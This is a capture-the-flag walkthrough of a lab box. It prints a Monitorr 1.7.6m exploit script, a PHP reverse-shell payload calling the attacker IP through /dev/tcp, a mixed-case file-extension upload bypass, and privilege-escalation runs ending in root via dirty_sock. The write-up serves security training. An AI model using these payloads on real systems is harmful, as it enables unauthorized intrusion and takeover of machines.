Recon to foothold
Ok, so this is a little different, we have a public IP address here, and a warning
ISPs are often unhappy if you enumerate public IP addresses at a high speed…
Even if the hosting ISP doesn’t care, the box itself might be setup to block an IP address if it detects high speed scanning. Before we unleash a tool, let’s enumerate manually a little
The first thing that happens when we try to load the address in a browser is a redirect
Which of course is a domain name unknown to the world in general so let’s add an entry to /etc/hosts
and try again
Well the first thing we see is a warning due to a self-signed certificate. This is expected in a case like this, but let’s look at the cert and see if there is any more information available there
Excellent, we find some alternative names covered by the cert, let’s add these to the /etc/hosts
file too. Before we check them out though let’s first look at the rest of the site by clicking through the acceptance path
Ok, we have a pet shop site
With a contact page
This is where we’d normally hit the system with a gobuster
scan, but let’s go on and look at the other vhosts found first
On monitorr.robyns-petshop.thm
we find a simple dashboard site
One interesting thing we can find is that burpsuite shows us a cookie is being set
So we should probably try to include Cookie: isHuman=1
in whatever we do as we proceed
We can also find the software name and version at the bottom of the page
A quick search of this finds us a possible exploit, which describes the exploit as
Monitorr 1.7.6m allows creation of administrative accounts by abusing the installation URL
Ok, that sounds interesting, worth giving a try!
After downloading the exploit code we need to make 2 changes
- On line 24, we have to add
verify=False
to the HTTPS request so that the self-signed certificate doesn’t result in an exception being thrown - On the same line We also want to add a variable to receive the return and insert a
print
statement immediately after to help us with debugging the exploit if it doesn’t work first time - And lastly but not leastly we want to add our found cookie by adding a new dictionary and appending
cookies = newdict
to the request command
1 #!/usr/bin/python
2 # -*- coding: UTF-8 -*-
3
4 # Exploit Title: Monitorr 1.7.6m - Authorization Bypass
5 # Date: September 12, 2020
6 # Exploit Author: Lyhin's Lab
7 # Detailed Bug Description: https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
8 # Software Link: https://github.com/Monitorr/Monitorr
9 # Version: 1.7.6m
10 # Tested on: Ubuntu 19
11
12 # Monitorr 1.7.6m allows creation of administrative accounts by abusing the installation URL.
13
14 import requests
15 import os
16 import sys
17
18 if len (sys.argv) != 5:
19 print ("specify params in format: python " + sys.argv[0] + " target_url user_login user_email user_password")
20 else:
21 url = sys.argv[1] + "/assets/config/_installation/_register.php?action=register"
22 headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": url, "Connection": "close", "Referer": url, "Upgrade-Insecure-Requests": "1"}
23 cookies = dict(isHuman="1")
24 data = {"user_name": sys.argv[2], "user_email": sys.argv[3], "user_password_new": sys.argv[4], "user_password_repeat": sys.argv[4], "register": "Register"}
25 response = requests.post(url, headers=headers, data=data, verify=False, cookies=cookies)
26 print( response.content)
27 print ("Done.")
With these changes made, let’s try to run it
rob:YearOfTheJellyfish/ $ python exploit.py https://monitorr.robyns-petshop.thm allfun allfun@robyns-petshop.thm password
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at monitorr.robyns-petshop.thm Port 443</address>
</body></html>
Done.
Oh, that’s a shame, the URL being used does not exist on this installation, the installation files must have been deleted after install.
But wait, the article that accompanies this exploit has another interesting section
And some googling finds us a second exploit that gives RCE, and without authentication too!
Let’s give this one a try then, again making the same changes to prevent certificate verification, to add the cookie and to show the responses
rob:YearOfTheJellyfish/ $ python exploit2.py https://monitorr.robyns-petshop.thm 10.14.6.26 1234
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
<div id='uploadreturn'><div id='uploaderror'>ERROR: she_ll.php is not an image or exceeds the webserver’s upload size limit.</div><div id='uploaderror'>ERROR: she_ll.php was not uploaded.</div></div>
A shell script should be uploaded. Now we try to execute it
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at monitorr.robyns-petshop.thm Port 443</address>
</body></html>
Ok, so we are getting a response that says ERROR: she_ll.php is not an image or exceeds the webserver’s upload size limit
, what if we change the name of the file to an image format, say .jpg
?
rob:YearOfTheJellyfish/ $ python exploit2.py https://monitorr.robyns-petshop.thm 10.14.6.26 1234
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
<div id='uploadreturn'>File she_ll.jpg is an image: <br><div id='uploadok'>File she_ll.jpg has been uploaded to: ../data/usrimg/she_ll.jpg</div></div>
A shell script should be uploaded. Now we try to execute it
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
GIF89a213213123<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.14.6.26/1234 0>&1'");
Ok, so that worked, we are checking file extensions, let’s see if we can squeeze a php extension in there too
rob:YearOfTheJellyfish/ $ python exploit2.py https://monitorr.robyns-petshop.thm 10.14.6.26 1234
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
<div id='uploadreturn'><div id='uploaderror'>ERROR: she_ll.php.jpg is not an image or exceeds the webserver’s upload size limit.</div><div id='uploaderror'>ERROR: she_ll.php.jpg was not uploaded.</div></div>
A shell script should be uploaded. Now we try to execute it
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
GIF89a213213123<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.14.6.26/1234 0>&1'");
Nope! We try with both .jpg.php
and .php.jpg
without success. Obviously we have a filter excluding php
as a string. Checking out payloadsallthethings we can find a few more things to try
rob:YearOfTheJellyfish/ $ python exploit2.py https://monitorr.robyns-petshop.thm 10.14.6.26 1234
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
<div id='uploadreturn'>File she_ll.jpg.pHp is an image: <br><div id='uploadok'>File she_ll.jpg.pHp has been uploaded to: ../data/usrimg/she_ll.jpg.php</div></div>
A shell script should be uploaded. Now we try to execute it
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at monitorr.robyns-petshop.thm Port 443</address>
</body></html>
And we have some success it seems with mixing case, it has accepted our upload apparently and saved it as a php file. For some reason though the second part of the script didn’t fire… Ahhh, we assumed that the case would be maintained and asked it to execute she_ll.jpg.pHp
, but it has saved the file as ../data/usrimg/she_ll.jpg.php
. Let’s see if we can request that url using curl
rob:YearOfTheJellyfish/ $ curl -k "https://monitorr.robyns-petshop.thm/assets/data/usrimg/she_ll.jpg.php"
Well, we can, and curl hangs up as if it is opening a reverse shell, however our waiting listener doesn’t get anything back. Perhaps there is an outgoing firewall rule filtering traffic on unknown ports, let’s try a known port instead
rob:YearOfTheJellyfish/ $ python exploit3.py https://monitorr.robyns-petshop.thm 10.14.6.26 80
<div id='uploadreturn'>File allfun_shell.jpg.pHp is an image: <br><div id='uploadok'>File allfun_shell.jpg.pHp has been uploaded to: ../data/usrimg/allfun_shell.jpg.php</div></div>
A shell script should be uploaded. Now we try to execute it
Looks good, and it is! We pop a shell in our waiting listener
rob:YearOfTheJellyfish/ $ nc -lnvp 80
listening on [any] 80 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.253.96] 47152
bash: cannot set terminal process group (910): Inappropriate ioctl for device
bash: no job control in this shell
www-data@petshop:/var/www/monitorr/assets/data/usrimg$
We have a foothold, let’s quickly check the other vhosts to see if there is any more interesting things to be found before we move on and try to privilege escalate
On beta.robyns-petshop.thm
we find a site under construction
Well, we don’t have this ID either, so again we can move on for now to the last alternative, dev.robyns-petshop.thm
This looks exactly the same, a diff of the pages in fact shows only the embedded URLs are different (i.e. with dev and without). If there are differences they must be backend
Going back to the monitor screen we can find another active service, Jellyfin
This is a media centre application, similar to Emby and Plex
Nothing jumps out there, but perhaps one or more of these will be useful as we proceed
Before we go further let’s fix our shell and grab a flag if we can
So first we want to stabilize our shell (see ropnop’s blog, method 3) and now we can start a little manual enumeration to see if we can find a flag
And in the webroot we find one
www-data@petshop:/var/www$ ls -lA
total 16
drwxr-xr-x 9 root root 4096 Apr 11 17:00 dev
-r-------- 1 www-data www-data 38 Apr 30 16:12 flag1.txt
drwxr-xr-x 9 root root 4096 Apr 11 14:38 html
drwxr-xr-x 4 www-data www-data 4096 Apr 11 14:24 monitorr
www-data@petshop:/var/www$ cat flag1.txt
THM{REDACTED}
We got #1: THM{REDACTED}
User privesc to root
We start with some manual enumeration
We can find one non-root user, robyn
www-data@petshop:/home/robyn$ ls -lA
total 52
-rw------- 1 robyn robyn 12215 Apr 16 18:28 .bash_history
-rw-r--r-- 1 robyn robyn 220 Apr 9 23:46 .bash_logout
-rw-r--r-- 1 robyn robyn 3771 Apr 9 23:46 .bashrc
drwx------ 3 robyn robyn 4096 Apr 11 22:35 .cache
drwxr-xr-x 5 root root 4096 Apr 11 22:34 .choosenim
drwx------ 3 robyn robyn 4096 Apr 9 23:47 .gnupg
drwxr-xr-x 4 root root 4096 Apr 11 22:34 .nimble
-rw-r--r-- 1 robyn robyn 807 Apr 9 23:46 .profile
-rw-r--r-- 1 robyn robyn 0 Apr 9 23:48 .sudo_as_admin_successful
-rw------- 1 robyn robyn 5176 Apr 16 19:30 .viminfo
-rw-r--r-- 1 root root 227 Apr 11 02:44 .wget-hsts
Nothing there for now, but it seems like robyn
has (or had at some point) sudo privileges and checking the group file we can see that robyn
is also a member of the lxd
group, that could get us root as well. We should probably focus on getting user robyn
next
[took a break here and used pwncat on returning]
Looking through the ‘usual suspects’ there are no obvious easy ways to escalate our privileges to be found so we try using linpeas
to see if a less obvious method can be found. This gives us a couple of leads
- We can see
root
running thebeta
app
root 737 0.0 0.1 9860 1956 ? Ss 10:18 0:00 /opt/beta/server
When we check this out we can see that it is a binary, potentially there’s an exploit here that could get us a root shell
- We find a potential exploit on
pkexec
-rwsr-xr-x 1 root root 22K Mar 27 2019 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
And our kernel version appears to be in range
[+] Operative system
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits
Linux version 4.15.0-140-generic (buildd@lgw01-amd64-054) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #144-Ubuntu SMP Fri Mar 19 14:12:35 UTC 2021
However a quick check on this one finds that we cannot make it work
(remote) www-data@petshop:/tmp$ gcc -o exploit exploit.c
(remote) www-data@petshop:/tmp$ ./exploit
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[!] Warning: $XDG_SESSION_ID is not set
[.] Searching for known helpers ...
[.] Searching for useful helpers ...
[.] Ignoring blacklisted helper: /usr/lib/update-notifier/package-system-locked
- We find a password hash used to secure web access
[+] Searching specific hashes inside files - less false positives (limit 70)
/etc/apache2/htpasswd:$apr1$tMFlj08b$5VCOhI2see0L0WRU8Mn.b.
Perhaps this password might be being reused somewhere else
- sudo could be vulnerable to Baron Samedit, check the version
[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.21p2
To check if this is a vulnerable machine let’s use the Linux Exploit Suggester
(remote) www-data@petshop:/tmp$ ./linux-exploit-suggester.sh
Available information:
Kernel version: 4.15.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 18.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
76 kernel space exploits
48 user space exploits
Possible Exploits:
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: mint=19,[ ubuntu=18|20 ], debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2018-18955] subuid_shell
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
Exposure: probable
Tags: [ ubuntu=18.04 ]{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip
Comments: CONFIG_USER_NS needs to be enabled
[+] [CVE-2019-7304] dirty_sock
Details: https://initblog.com/2019/dirty-sock/
Exposure: less probable
Tags: ubuntu=18.10,mint=19
Download URL: https://github.com/initstring/dirty_sock/archive/master.zip
Comments: Distros use own versioning scheme. Manual verification needed.
[+] [CVE-2019-18634] sudo pwfeedback
Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.
[+] [CVE-2019-15666] XFRM_UAF
Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
[+] [CVE-2017-0358] ntfs-3g-modprobe
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
Exposure: less probable
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/41356.zip
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.
Ok, that’s a lot of potential exploits over and above our sudo question, let’s check the Baron Samedit 2 (2 is always better than 1 right? 😄) exploit
(remote) www-data@petshop:/tmp$ python3 exploit_nss.py
Traceback (most recent call last):
File "exploit_nss.py", line 220, in <module>
assert check_is_vuln(), "target is patched"
AssertionError: target is patched
While we have this list, let’s check for other exploits that might work, the next ‘probable’ exploit found is CVE-2018-18955, subuid_shell, which has the note that CONFIG_USER_NS
must be enabled. With a little googling we find that we can check this ourselves
(remote) www-data@petshop:/tmp$ cat /boot/config-4.15.0-140-generic | grep CONFIG_USER_NS
CONFIG_USER_NS=y
Ok, so the prerequisite is there, let’s give the exploit a try
(remote) www-data@petshop:/tmp/ldpreload$ ./exploit.ldpreload.sh
[*] Compiling...
[*] Adding libsubuid.so to /etc/ld.so.preload...
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[-] couldn't find subuid map in /etc/subuid
usage: newuidmap <pid> <uid> <loweruid> <count> [ <uid> <loweruid> <count> ] ...
[-] Failed
No, not successful, rats!
We’re getting less probable now, but we can check a couple more just in case, next on the list is CVE-2019-7304, the excellently-named dirty_sock. Again we have a prerequisite, snapd
must be version 2.37.1 or lower
(remote) www-data@petshop:/tmp/ldpreload$ snap version
snap 2.32.5+18.04
snapd 2.32.5+18.04
series 16
ubuntu 18.04
kernel 4.15.0-140-generic
And it is, good stuff, let’s try the exploit so. Looking at the details we can find there are 2 versions with their own prerequsites
-
dirty_sockv1.py
which requires an outbound ethernet connection (which we have, could this be the reason this box has a public IP address?) and a running SSH service -
dirty_sockv2.py
which actually seems to have no prereqs but may cause a snap updateWe can check if
snap
has any queued changes withsnap changes
and find that there are none. Reading deeper into this we can also find thatSome older Ubuntu systems (like 16.04) may not have the snapd components installed that are required for sideloading. If this is the case, this version of the exploit may trigger it to install those dependencies. During that installation, snapd may upgrade itself to a non-vulnerable version. Testing shows that the exploit is still successful in this scenario
But we don’t have an older version like 16.04 and it says it should work anyway, let’s take a chance and try v2
Running dirty_sockv2.py
(remote) www-data@petshop:/tmp$ python3 dirty_sockv2.py
___ _ ____ ___ _ _ ____ ____ ____ _ _
| \ | |__/ | \_/ [__ | | | |_/
|__/ | | \ | | ___ ___] |__| |___ | \_
(version 2)
//=========[]==========================================\\
|| R&D || initstring (@init_string) ||
|| Source || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock ||
\\=========[]==========================================//
[+] Slipped dirty sock on random socket file: /tmp/upneyzerfz;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[+] Installing the trojan snap (and sleeping 8 seconds)...
[+] Deleting trojan snap (and sleeping 5 seconds)...
********************
Success! You can now `su` to the following account and use sudo:
username: dirty_sock
password: dirty_sock
********************
Ok, that seems to have been successful, let’s check can we get a root shell then
(remote) www-data@petshop:/tmp$ su - dirty_sock
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
dirty_sock@petshop:~$ sudo id
[sudo] password for dirty_sock:
uid=0(root) gid=0(root) groups=0(root)
dirty_sock@petshop:~$ sudo -i
And we can!
We can grab the root flag here now
root@petshop:~# cat root.txt
THM{REDACTED}
And we got #2: THM{REDACTED}